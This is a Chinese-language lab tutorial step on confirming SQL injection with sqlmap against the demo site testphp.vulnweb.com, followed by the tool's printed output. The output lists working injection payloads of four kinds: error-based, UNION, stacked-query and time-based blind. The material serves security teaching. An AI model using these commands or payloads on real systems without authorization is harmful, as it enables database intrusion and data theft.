在目标上建立成功的注入
在此步骤中,我们将模拟在目标上建立成功的 SQL 注入。在本实验中,我们将使用一个已知的易受攻击的 URL,sqlmap 可以对其进行利用。这一初始步骤至关重要,因为 sqlmap 需要一个有效的注入点来与数据库交互并执行进一步的枚举,包括检查 DBA 权限。
在终端中打开 ~/project 目录。我们将使用一个演示用的虚拟 URL。在实际场景中,你将通过侦察和手动测试来识别一个易受攻击的 URL。
执行以下 sqlmap 命令来确认成功的注入。我们将使用简单的 --url 和 --batch 标志来自动化该过程并接受默认选项。
sqlmap --url "http://testphp.vulnweb.com/listproducts.php?cat=1" --batch
你应该会看到 sqlmap 执行各种测试,并最终确认目标易受 SQL 注入攻击。查找指示成功检测到漏洞的输出。
_
___| |_____ ___ ___ ___ {1.6.11.1#dev}
|_ -| . | | . | . |
|___|_|_|_|_|_|___| . | --[sqlmap]--
|_|
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. sqlmap developers assume no liability and are not responsible for any misuse or damage caused by this program.
[SNIP]
[INFO] GET parameter 'cat' is vulnerable. Do you want to keep testing the others (if any)? [y/N/q] N
sqlmap identified the following injection point(s) with a total of 18 HTTP(s) requests:
---
Parameter: cat (GET)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x7178717871,(SELECT (ELT(1337=1337,1))),0x717a7a7171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: UNION query
Title: MySQL UNION query all columns - 10 columns
Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
Type: Stacked queries
Title: MySQL > 5.0.11 stacked queries (comment)
Payload: http://testphp.vulnweb.com/listproducts.php?cat=1;SELECT SLEEP(5)--
Type: Time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace
Payload: http://testphp.vulnweb.com/listproducts.php?cat=1 AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)
---
[INFO] the back-end DBMS is MySQL
[INFO] fetched data:
[INFO] the web server is Apache
[INFO] you are not using the latest version
[INFO] for the latest stable version, visit the official repository at 'https://github.com/sqlmapproject/sqlmap/'
输出证实 cat 参数易受多种 SQL 注入类型的攻击。这意味着 sqlmap 现在可以与数据库进行交互。